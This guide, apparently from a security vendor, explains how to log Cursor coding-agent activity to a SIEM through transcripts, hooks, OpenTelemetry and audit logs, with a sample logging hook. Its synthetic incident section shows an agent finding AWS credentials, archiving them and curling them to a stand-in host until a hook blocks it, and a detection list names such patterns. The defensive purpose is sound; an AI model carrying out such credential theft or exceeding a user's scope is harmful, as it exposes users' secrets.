tl;dr

You want to see what people are doing with Cursor’s agent from your SIEM. For agent sessions on users’ machines, Cursor gives you four places to look:

  • Local transcript: a JSONL file (one JSON object per line) per conversation on each machine. It has prompts and the tools the agent asked for, but no tool output, no IDs, and only a timestamp per prompt.
  • Hooks: scripts Cursor runs at each step of the agent loop. They receive the prompt, every tool call, its output, file edits, and blocks as JSON. Cursor ships no logging hook, so you write one and deploy it.
  • OpenTelemetry (OTel) export: an Enterprise feature that Cursor’s cloud sends to your collector. For desktop sessions it carries counts and hook results, with no prompts or commands.
  • Audit logs and the Admin API: Enterprise records of admin changes and usage. They never contain prompts or tool calls.

Our advice: deploy a logging hook to every machine and ship its output to your SIEM. On Enterprise, add the OTel export to check that your hook keeps running, and stream audit logs to catch changes to hooks, MCP servers, and Privacy Mode. Read the local transcript only when you investigate one session. Prompts, command output, and file edits are sensitive, so set SIEM access and retention, and check with your privacy team or works council before you log them.

Apart from the synthetic incident, the transcript and hook records in this guide come from our tests of Cursor on macOS. The OpenTelemetry examples follow Cursor’s documentation. The Claude Code guide and the Codex guide cover the same ground for those agents.

What happens when someone uses Cursor

Every Cursor log source records part of the same agent loop. A user types a prompt in Agent chat. The agent decides to use a tool, such as running a shell command, reading or editing a file, or calling an MCP server. Cursor checks whether the call is allowed, by your Run Mode settings, by asking the user, or by a hook. The tool runs, its output goes back to the model, and the agent either uses another tool or answers.

The figure follows that loop from left to right in five steps. The code at the bottom of each card is the hook event that step fires.

One Cursor agent turn, and the hook event each step fires. A single prompt can repeat steps 2 to 4 many times. A user's approval at step 3 fires no event.
  1. 1PromptThe user asks for somethingbeforeSubmitPrompt
  2. 2Tool requestThe agent asks to run a tool. A hook can deny it herepreToolUse
  3. 3Permission checkShell and MCP calls get a second hook checkbeforeShellExecution · beforeMCPExecution
  4. 4ResultWhat the tool returned, or why it failedpostToolUse · postToolUseFailure
  5. 5AnswerThe agent replies and the turn endsstop

Security monitoring mostly cares about steps 1 to 4: what was asked, what the agent tried to do, whether it was allowed, and what came back.

The sources at a glance

Each card in the figure below is one source. The label at the top of each card says where the source lives and what it needs, and the card colors (periwinkle, orchid, sage, and peach) only tell the sources apart. The table after the figure compares them in the same order.

Cursor activity sourcesFour places Cursor agent activity is recorded
  • Local · on by default Local transcript agent-transcripts/*.jsonl What did the user ask and the agent request?
  • Local · you write it Hooks hooks.json What did the agent do, and what came back?
  • Central · Enterprise OpenTelemetry export cursor.* How much activity, and did hooks run?
  • Central · Enterprise Audit logs /teams/audit-logs Who changed settings, hooks, or MCP servers?

This table compares the four sources by location, default setting, contents, and best use.

Source Where it lives On by default? What it contains Best for
Local transcript ~/.cursor/projects/ on each machine Yes Prompts, agent text, and tool requests with their input. No tool output, no IDs Reading one conversation during an investigation
Hooks Your hook’s output, shipped by your log agent No Prompts, tool calls with input and output, file edits, file reads, blocks, token counts Live monitoring and alerting across all users
OpenTelemetry export Cursor’s cloud, then your collector No, Enterprise only Tool call counts, API requests, hook results, plugin installs. No prompts or commands for desktop sessions Checking coverage and volume
Audit logs Cursor’s cloud, by API or streaming No, Enterprise only Admin changes: members, settings, team hooks, MCP servers, Privacy Mode Catching changes to your controls

Cursor’s chat database (state.vscdb), its AI code tracking database (~/.cursor/ai-tracking/ai-code-tracking.db), and the Analytics and AI Code Tracking APIs record chats, code attribution, and totals. None of them records what the agent did step by step, so we leave them out.

Source 1: the local transcript

Cursor writes one transcript per agent conversation:

~/.cursor/projects/<project>/agent-transcripts/<conversation-id>/<conversation-id>.jsonl

<project> is the folder Cursor was opened on, with / replaced by -. A conversation in /Users/alex/projects/example is stored under projects/Users-alex-projects-example/. Cursor does not document this location or format. Its hook documentation only says each hook receives the file’s path as transcript_path, so find the files with a search:

find ~/.cursor/projects -path '*agent-transcripts*' -name '*.jsonl' -print

These files can hold anything a user typed or pasted, including secrets. Copy them into an access-controlled location before you analyze them.

What is in a transcript

The lines below come from a transcript in our tests on macOS, trimmed, with the path and time replaced. This is the whole record of one turn in which the agent read a file, ran a shell command, and answered:

{"role":"user","message":{"content":[{"type":"text","text":"<timestamp>Thursday, Sep 24, 2026, 7:13 AM (UTC+1)</timestamp>\n<user_query>\nFix the typo in README.md, then run: echo hello-cursor\n</user_query>"}]}}
{"role":"assistant","message":{"content":[{"type":"tool_use","name":"Read","input":{"path":"/Users/alex/projects/example/README.md"}}]}}
{"role":"assistant","message":{"content":[{"type":"text","text":"The README already reads correctly. I'll run the echo."},{"type":"tool_use","name":"Shell","input":{"command":"echo hello-cursor","description":"Print hello-cursor marker","working_directory":"/Users/alex/projects/example"}}]}}
{"role":"assistant","message":{"content":[{"type":"text","text":"1. README.md. No edit. ..."}]}}
{"type":"turn_ended","status":"success"}

Each line has a role and a message.content array of text and tool_use blocks. MCP tools appear as CallDynamicTool with the server in namespace and the tool in toolName. Model reasoning, when recorded, shows as [REDACTED]. A turn_ended line closes each turn with success or error.

For a SIEM, the gaps are:

  • No tool output. The echo above printed hello-cursor, and the transcript does not say so. Cursor’s staff describe this as deliberate and point to hooks for output.
  • No IDs on lines, and no time except the prompt’s <timestamp>, written in the user’s local format. An older build we checked had no timestamp at all.
  • Gaps when a turn is stopped. When the user stopped one test turn, its transcript ended {"type":"turn_ended","status":"error","error":"User aborted request"} after a Read. The hooks for the same turn recorded a file write and a shell command that the transcript never shows.

Like any file in the user’s home folder, the transcript can be edited or deleted by the user, and you need an endpoint agent to collect it. Use it to read one conversation. Do not build detections on it.

Source 2: hooks

Hooks are where Cursor’s agent activity becomes usable for a SIEM. Cursor added them in version 1.7 to “audit Agent usage, block commands, or redact secrets”. Each hook is a command that Cursor runs at a named event, passing the event as JSON on standard input and reading a JSON reply on standard output. Cursor’s compliance documentation says the same thing from the other direction: audit logs do not record prompts or generated code, so use hooks to log development activity.

Your EDR already sees the processes Cursor starts. It does not see the prompt behind them, or the file reads and edits Cursor makes itself. Hooks tie all of these to a user and a conversation.

Where hooks are configured

Cursor reads hooks.json from four levels. The hooks reference lists them in this priority order:

Level Location Who controls it
Enterprise /Library/Application Support/Cursor/hooks.json on macOS, /etc/cursor/hooks.json on Linux, C:\ProgramData\Cursor\hooks.json on Windows IT, through MDM
Team Cursor dashboard (Enterprise) Cursor admins. Synced to machines every thirty minutes
Project <project>/.cursor/hooks.json Anyone who can commit to the repository
User ~/.cursor/hooks.json The user

All matching hooks from every level run. Project hooks run only in workspaces the user has trusted. When hooks disagree on a permission, deny wins over ask, and ask wins over allow. A user can add hooks but cannot remove an enterprise one without admin rights on the machine, which is why a logging hook belongs at the enterprise or team level. Many developers have admin rights on their own machines, so treat the hook as visibility for those users, backed by the coverage check in Source 3.

Cursor also runs Claude Code hooks. With the third-party import setting, on by default, it loads hooks from ~/.claude/settings.json and from a repository’s .claude/settings.json and .claude/settings.local.json. On our test machine, a Claude Code hook that printed usage text in place of a JSON decision blocked every Read, edit, and shell call in Cursor until we turned it off. Treat a repository’s .claude/settings.json as code that runs on the developer’s machine when they use Cursor.

What a hook receives

Every agent event carries the same identity fields. This afterShellExecution event comes from our tests, with the email, paths, IDs, and version replaced:

{
  "hook_event_name": "afterShellExecution",
  "conversation_id": "5d2b7e10-0000-4000-8000-00000000c001",
  "generation_id": "9a41c3d7-0000-4000-8000-0000000000g1",
  "session_id": "5d2b7e10-0000-4000-8000-00000000c001",
  "model": "grok-4.7",
  "cursor_version": "3.x.x",
  "user_email": "[email protected]",
  "workspace_roots": ["/Users/alex/projects/example"],
  "transcript_path": "/Users/alex/.cursor/projects/Users-alex-projects-example/agent-transcripts/5d2b7e10-0000-4000-8000-00000000c001/5d2b7e10-0000-4000-8000-00000000c001.jsonl",
  "command": "echo hello-cursor",
  "output": "hello-cursor\n",
  "duration": 3908.302,
  "sandbox": false,
  "tool_use_id": "618ea90e-0000-4000-8000-0000000000t1"
}

user_email lets you monitor per user. conversation_id names the conversation, and generation_id ties together everything one prompt caused, except that in our tests each afterAgentThought fired twice and the second copy carried a suffixed generation_id. tool_use_id pairs a tool’s request with its result, and duration is in milliseconds. There is no timestamp in any event, so your hook has to add one.

The events below answer the common monitoring questions. All of them are documented in the hooks reference, and we saw each one in our tests except the MCP pair.

Question Event Key fields
What did the user ask? beforeSubmitPrompt prompt, attachments
What did the agent try to do? preToolUse tool_name, tool_input, tool_use_id
What shell command ran, and what did it print? beforeShellExecution, afterShellExecution command, cwd, output, duration
What did a tool return? postToolUse tool_output, duration
What was blocked or failed? postToolUseFailure error_message, failure_type
What did it change? afterFileEdit file_path, edits (old and new text)
What did it read? beforeReadFile file_path, content (the whole file)
Which MCP server did it call? beforeMCPExecution, afterMCPExecution mcp_server_name, tool_name, tool_input, result_json
How did the turn end? stop status (completed, aborted, error), token counts

Three details from our tests change how you parse these:

  • tool_output is thin for some tools. For Shell it held {"output":"hello-cursor\n","exitCode":0}. For Read it held only content_length, and for a search only the pattern and success. The file’s text arrives in beforeReadFile.
  • tool_input names differ from the transcript. A file search the transcript recorded as Glob with target_directory reached hooks as Grep with file_path. Build parsers on the hook names.
  • tool_use_id has two formats. Shell calls had a UUID. Read and search calls had a call- ID, a newline, and an fc_ ID in one string. Treat it as an opaque string. In our tests the shell and file-read events carried the same tool_use_id as their preToolUse, although Cursor documents it only on preToolUse, postToolUse, and postToolUseFailure.

The figure below shows, from left to right, the hook events around one shell command in our second test run: the prompt, the agent running echo hello-cursor, and the end of the turn. The same test run also produced file read, search, and edit events, which the figure leaves out. The field at the bottom of each card is the narrowest ID that joins it to related events: tool_use_id pairs a tool’s request with its result, and generation_id ties together the events the prompt caused.

The hook events around one shell command in our tests. Every event also carries conversation_id and generation_id.
  1. 1beforeSubmitPromptPrompt text and attachmentsgeneration_id
  2. 2preToolUseShell, with the commandtool_use_id
  3. 3beforeShellExecutionCommand and working foldertool_use_id
  4. 4afterShellExecutionOutput and durationtool_use_id
  5. 5stopStatus and token countsgeneration_id

A postToolUse event with the same tool_use_id arrived alongside step 4, and the agent’s thoughts and reply arrived as afterAgentThought and afterAgentResponse events between steps 4 and 5.

Blocked calls

When a hook denies a call, Cursor fires a postToolUseFailure event. This one comes from our first test run, where the failing Claude Code hook blocked a shell command:

{
  "hook_event_name": "postToolUseFailure",
  "conversation_id": "5d2b7e10-0000-4000-8000-00000000c002",
  "tool_name": "Shell",
  "tool_input": {"command": "echo hello-cursor", "cwd": "/Users/alex/projects/example", "timeout": 30000},
  "error_message": "Hook blocked with message: ...",
  "failure_type": "permission_denied",
  "duration": 0,
  "is_interrupt": false,
  "tool_use_id": "7d5d4397-0000-4000-8000-0000000000t2"
}

The denial happened in preToolUse, so beforeShellExecution never fired for that command. Log preToolUse and postToolUseFailure as well as the shell events, or blocked attempts will be missing.

What hooks do not record

Hooks miss three things you might expect them to log:

  • Your approvals. In our second run the user approved one shell command in the Cursor window, and no hook event recorded the decision. That command’s duration was 74,628 ms for a one-line python3 command, but Cursor’s hooks reference says duration excludes approval wait time, so do not use it to detect approvals.
  • The model’s own refusals as events. Our test prompt asked the agent to archive a dummy credentials file and upload it. The model refused, and the only record is the text in afterAgentThought and afterAgentResponse.
  • Anything when the hook fails. Cursor fails open: if a hook crashes, times out, or exits with any error code other than 2, the action goes ahead and the event is lost. Exit code 2 blocks the action, and failClosed: true blocks it on any failure, which is right for a policy hook and usually wrong for a logging one.

One exception works the other way. A hook on an event that can allow or deny, such as preToolUse, blocks the action if it prints anything other than valid JSON, or JSON that does not match the event’s schema. That is what stopped every tool call in our first run. A broken logging hook deployed to every machine can stop the agent everywhere, so test it on a few machines first and keep it printing only {}.

A logging hook you can copy

Cursor does not forward hook payloads anywhere, so this hook writes them to disk and your existing log agent ships them. The figure shows that path from left to right, from Cursor on the user’s machine to your SIEM. The code at the bottom of each card is the file, folder, or system that step uses. The rest of this section sets up steps 1 to 4, and A setup you can copy covers the SIEM.

How hook events reach your SIEM. Steps 1 to 4 run on each user's machine.
  1. 1CursorRuns the hook at each eventhooks.json
  2. 2Hook scriptAdds time and host, replies {}log-event.sh
  3. 3Spool folderOne JSON file per eventcursor-agent-events/
  4. 4Log agentShips each file, then deletes ityour log agent
  5. 5SIEMSearch, alert, retainyour index

Our first logging hook appended every event to one file. Cursor ran hooks concurrently in our tests, so two events wrote into the same line, and 3 of 36 lines in that run were corrupted. Writing one file per event avoids this. This macOS script adds a timestamp and the hostname, writes the event to a spool folder that only the user can read, and always lets the action continue:

#!/bin/bash
# Cursor logging hook: one JSON file per event, picked up by your log agent.
umask 077
spool="$HOME/Library/Logs/cursor-agent-events"
mkdir -p "$spool"
ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
file="$spool/$(date -u +%Y%m%dT%H%M%S)-$$-$RANDOM.json"
{
  printf '{"logged_at":"%s","host":"%s","event":' "$ts" "$(hostname)"
  cat
  printf '}\n'
} > "$file"
echo '{}'
exit 0

Save it as hooks/log-event.sh next to the enterprise hooks.json and register it for the events you want. Enterprise hooks run from the enterprise config folder, so the relative path avoids the space in Application Support.

We tested a similar one-file-per-event hook at user level, in ~/.cursor/hooks.json, but not this exact script or the enterprise config, so check on one machine that events reach the spool folder before you deploy it widely. Cursor’s docs disagree on whether system-wide hooks placed by MDM need an Enterprise plan, so confirm that for your plan too.

This example logs the events in the table above, apart from beforeReadFile and beforeShellExecution (step 3 of the hook event figure in “What a hook receives”), because afterShellExecution carries the same command plus its output. It also leaves out afterAgentThought and afterAgentResponse; add afterAgentResponse if you want the agent’s replies, including refusals.

{
  "version": 1,
  "hooks": {
    "beforeSubmitPrompt": [{ "command": "./hooks/log-event.sh" }],
    "preToolUse": [{ "command": "./hooks/log-event.sh" }],
    "postToolUse": [{ "command": "./hooks/log-event.sh" }],
    "postToolUseFailure": [{ "command": "./hooks/log-event.sh" }],
    "afterShellExecution": [{ "command": "./hooks/log-event.sh" }],
    "afterFileEdit": [{ "command": "./hooks/log-event.sh" }],
    "beforeMCPExecution": [{ "command": "./hooks/log-event.sh" }],
    "afterMCPExecution": [{ "command": "./hooks/log-event.sh" }],
    "stop": [{ "command": "./hooks/log-event.sh" }]
  }
}

Point your log agent at the spool folder, ship each file as one event, and delete files once they are shipped. Use logged_at as the event time. The folder is in the user’s home directory, so the user can delete it. On Enterprise you can detect that: alert when a user’s cursor.api.request events have no matching hook events in your SIEM (step 3 of A setup you can copy). Without Enterprise, you cannot.

Decide on content before you turn this on. Prompts, shell output, and file edits all go to your SIEM, and beforeReadFile would add the full text of every file the agent reads, including any .env file. We left it out of the example. Add it only if your SIEM’s access controls and retention suit that data. Prompts can also count as employee data, so check with your privacy team or works council where that applies.

Source 3: the OpenTelemetry export

The OpenTelemetry export’s value next to your hook is coverage: cursor.hook.execution_complete tells you, from outside the user’s machine, that hooks ran and whether they failed or timed out.

Cursor’s OpenTelemetry export is an Enterprise feature that admins switch on in Team Settings. It runs on Cursor’s servers: Cursor sends OTLP (the OpenTelemetry protocol) over HTTP from a fixed set of IP addresses to a collector you expose to the internet. Nothing is installed on users’ machines, and the desktop app has no OTel settings of its own.

For desktop and CLI sessions, the export carries activity metadata. The wire reference lists what each signal holds:

Signal What it tells you What it leaves out
cursor.tool.calls metric Count of tool calls (tool names in lowercase, such as shell) by cursor.tool.kind, cursor.tool.name, cursor.tool.status, and MCP server name Commands, paths, arguments, and conversation IDs
cursor.api.request log Model requests with cursor.conversation.id, usually with user attributes Prompt and response text
cursor.hook.execution_complete log (body hook_execution_complete) Each hook run with cursor.hook.name, cursor.hook.type, and cursor.hook.outcome (success, blocked, failed, timeout) The hook’s input and output
cursor.plugin.installed log Plugin installs  

If your team opts in, the export can also send prompt and response text from Cloud Agents and Cursor’s Grok Bot, and MCP tool arguments and results from Grok Bot. The wire reference says “IDE, CLI, and desktop conversations are not on this family yet”.

A user who sends API requests with no hook runs, or whose hooks start failing, has a gap to look at. cursor.hook.type lists only general types, such as pre_tool_use, post_tool_use, before_submit_prompt, and stop. It does not list shell, MCP, or file events. To make this check see your logging hook, register it on preToolUse and postToolUse.

Source 4: audit logs and the Admin API

Cursor’s audit logs record who changed what in the team: sign-ins, members, API keys, settings, and integrations. They are an Enterprise feature, available through the dashboard, the Admin API (GET /teams/audit-logs), or streaming to Splunk HTTP Event Collector, Sumo Logic, an HTTPS webhook, or an S3 bucket. They exclude prompts, agent output, and generated code.

For agent monitoring, three event types matter, because each one changes your controls:

Event What it records
team_hook A team hook created, updated, or deleted, including its script or prompt text
mcp_server_config A user or team MCP server added, changed, renamed, or deleted
privacy_mode Privacy Mode changed for a member or the team

The Admin API also returns daily usage and per-request usage events with user, model, tokens, and conversation ID. Those help with cost and adoption. They do not say what the agent did.

One incident, four views

To see how the sources differ, take one synthetic incident. A user asks the agent to fix a typo in the README. The agent then searches the home folder for credentials, packs them into an archive, and tries to upload it. A policy hook blocks the upload. Names are fictional, and .invalid hosts cannot resolve. The transcript and hook records follow the shapes we saw in our tests. The OpenTelemetry records are simplified from Cursor’s wire reference. In our real test the model refused these steps, so we scripted the records to show their shapes.

Incident in the transcript

The transcript shows the synthetic incident’s prompt and three commands, with no output and no time beyond the prompt:

{"role":"user","message":{"content":[{"type":"text","text":"<timestamp>Thursday, Sep 24, 2026, 10:00 AM (UTC+1)</timestamp>\n<user_query>\nFix the typo in README.md. Don't touch anything outside this repo.\n</user_query>"}]}}
{"role":"assistant","message":{"content":[{"type":"tool_use","name":"Shell","input":{"command":"find ~ -name credentials -path '*.aws*'","working_directory":"/Users/alex/projects/example"}}]}}
{"role":"assistant","message":{"content":[{"type":"tool_use","name":"Shell","input":{"command":"tar -czf /tmp/c.tgz /Users/alex/.aws/credentials","working_directory":"/Users/alex/projects/example"}}]}}
{"role":"assistant","message":{"content":[{"type":"tool_use","name":"Shell","input":{"command":"curl --data-binary @/tmp/c.tgz https://drop.example.invalid/u","working_directory":"/Users/alex/projects/example"}}]}}
{"type":"turn_ended","status":"success"}

Incident in the hooks

The logging hook from above records each step of the synthetic incident with its result. Events and fields are trimmed to the ones that matter; every event also carries conversation_id and user_email:

{"logged_at":"2026-09-24T09:00:00Z","event":{"hook_event_name":"beforeSubmitPrompt","generation_id":"g-01","user_email":"[email protected]","prompt":"Fix the typo in README.md. Don't touch anything outside this repo."}}
{"logged_at":"2026-09-24T09:00:03Z","event":{"hook_event_name":"afterShellExecution","generation_id":"g-01","command":"find ~ -name credentials -path '*.aws*'","output":"/Users/alex/.aws/credentials\n","tool_use_id":"t-01"}}
{"logged_at":"2026-09-24T09:00:06Z","event":{"hook_event_name":"afterShellExecution","generation_id":"g-01","command":"tar -czf /tmp/c.tgz /Users/alex/.aws/credentials","output":"","tool_use_id":"t-02"}}
{"logged_at":"2026-09-24T09:00:08Z","event":{"hook_event_name":"postToolUseFailure","generation_id":"g-01","tool_name":"Shell","tool_input":{"command":"curl --data-binary @/tmp/c.tgz https://drop.example.invalid/u"},"failure_type":"permission_denied","error_message":"Hook blocked with message: Upload to an unknown host.","tool_use_id":"t-03"}}
{"logged_at":"2026-09-24T09:00:10Z","event":{"hook_event_name":"stop","generation_id":"g-01","status":"completed"}}

Incident in the OpenTelemetry export

For the synthetic incident, the export shows that shell calls happened and that a hook blocked one, with no commands:

{"metric":"cursor.tool.calls","attributes":{"cursor.tool.kind":"builtin","cursor.tool.name":"shell","cursor.tool.status":"success"},"value":2}
{"body":"hook_execution_complete","attributes":{"cursor.conversation.id":"c-01","cursor.hook.name":"block-unknown-uploads","cursor.hook.type":"pre_tool_use","cursor.hook.outcome":"blocked"}}

Incident in the audit logs

Cursor’s audit logs record nothing for this incident, because they cover administrative changes and no setting changed.

What each view gives you

This table shows what each source records about the synthetic incident.

What the source shows Transcript Hooks OpenTelemetry export Audit logs
The prompt and its scope (“don’t touch anything outside this repo”) Yes Yes No No
Full commands Yes Yes No, only counts by tool No
What the find returned (the credential path) No Yes No No
That the upload was blocked, and why No sign of the block in the records we saw Yes, with the hook’s message That a hook blocked something No
Time of each step Prompt only, local time Yes, added by your hook Log records only; metrics are totals No
User identity No, machine and folder only Email on every event when the user is signed in Usually, as optional resource attributes No
Available centrally Only if you ship the files Yes, through your log agent Yes, Enterprise Yes, Enterprise

None of the four proves the credentials stayed on the machine. Your proxy, DNS, and endpoint logs show what happened on the machine.

Join the sources by ID

Cursor’s hooks, local transcript, OpenTelemetry export, and Admin API usage events share one ID: the conversation ID. This table shows which hook IDs appear in the transcript and the OpenTelemetry export.

Hook field Transcript OpenTelemetry export
conversation_id Folder and file name cursor.conversation.id, which Cursor documents as the conversation (composer) ID for desktop sessions
generation_id None None
tool_use_id None None

In our tests the hook conversation_id matched the transcript’s folder and file name, and transcript_path pointed to it. The path was null on the first prompt of a new conversation and set on later events, so join on conversation_id. We could not test the OTel side without an Enterprise team. generation_id and tool_use_id exist only in hooks, so steps within a prompt can be joined there and nowhere else.

Which should you send to your SIEM?

Send Cursor hook events to your SIEM first, and add the OpenTelemetry export and audit logs if you are on Cursor Enterprise. The figure below sums up our advice. The strengths of hooks sit under the sage green Pros label and their weaknesses under the peach Cons label. The table after it weighs all four sources the same way.

Our advice Start with a logging hook It is the only source with commands, output, and blocks for desktop sessions. Add the Enterprise sources to check it is running.

Pros Hooks

  • Prompts, commands, output, edits, and blocks, as they happen.
  • User email (when signed in) and conversation ID on every event.
  • User-level hooks work on any plan.
  • The same mechanism can block actions as well as log them.

Cons Hooks

  • You write, deploy, and maintain the hook and the shipping.
  • No timestamps in the events; your hook adds them.
  • Fails open on a crash or timeout and loses the event. Invalid JSON from a hook on preToolUse blocks every tool call.
  • No record of user approvals.

This table lists the pros and cons of each source and whether to send it to your SIEM.

Source Pros Cons Send to SIEM?
Hooks Live, per user, full commands and output, blocks recorded You build it; fails open; a broken deploy can block the agent; no approvals; content is sensitive Yes, first
OpenTelemetry export Central, nothing to install, shows hook failures Enterprise only; no prompts or commands for desktop sessions Yes, if you are on Enterprise
Audit logs Central record of changes to hooks, MCP servers, and Privacy Mode Enterprise only; no agent activity Yes, if you are on Enterprise
Local transcript Already on every machine; readable No output, IDs, or reliable times; undocumented; misses stopped turns On demand during investigations

A setup you can copy

  1. Deploy the logging hook through MDM to /Library/Application Support/Cursor/hooks/ with the enterprise hooks.json, or as a team hook on Enterprise. Test it on a few machines first. Include preToolUse and postToolUseFailure so blocked attempts are logged.
  2. Configure your log agent to ship the spool folder, parse event as JSON, and use logged_at as the time. Set SIEM access and retention for prompts, command output, and file edits. Estimate ingest volume first: expect several events per prompt, and file edits carry the full old and new text.
  3. On Enterprise, turn on the OpenTelemetry export and alert when cursor.hook.outcome is failed or timeout, or when a user’s API requests arrive with no hook events in your SIEM.
  4. On Enterprise, stream audit logs and alert on team_hook, mcp_server_config, and privacy_mode events.
  5. For an investigation, copy the conversation’s transcript folder from the user’s machine and join it to hook events on conversation_id. Expect prompts and commands, and no output.
  6. Confirm effects elsewhere. A hook event tells you what Cursor ran and saw. Endpoint, Git, identity, proxy, and SaaS logs tell you what actually changed.

What to watch first

Once hook events are flowing, start with these searches:

  • Credential locations: command or tool_input.file_path containing .ssh, .aws, .env, or security find-generic-password, especially outside workspace_roots.
  • Archive then transfer: a tar, zip, or similar command followed by curl, scp, or similar in the same generation_id.
  • New MCP servers: beforeMCPExecution with an mcp_server_name you have not seen before.
  • Repeated blocks: several postToolUseFailure events with permission_denied in one conversation, which can mean the agent is trying different ways around a block.
  • New hooks in repositories: changes to .cursor/hooks.json or .claude/settings.json in your source control, because Cursor runs both.

None of these proves bad intent. Admin work, migrations, and incident response produce similar sequences. They tell you where to look.

Summary

For agent sessions on users’ machines, hooks are the only Cursor source that records prompts, commands, output, and blocks. Cursor ships no logging hook, so write one, deploy it at the enterprise level through MDM or as a team hook, and have it add the timestamps Cursor leaves out. Decide first whether prompts, command output, and file edits belong in your SIEM.

On Enterprise, add the OpenTelemetry export to see when hooks fail and stream audit logs to catch changes to hooks, MCP servers, and Privacy Mode. Keep the local transcript for reading one conversation, and confirm what actually changed in endpoint, Git, identity, proxy, and SaaS logs before you act on what you find.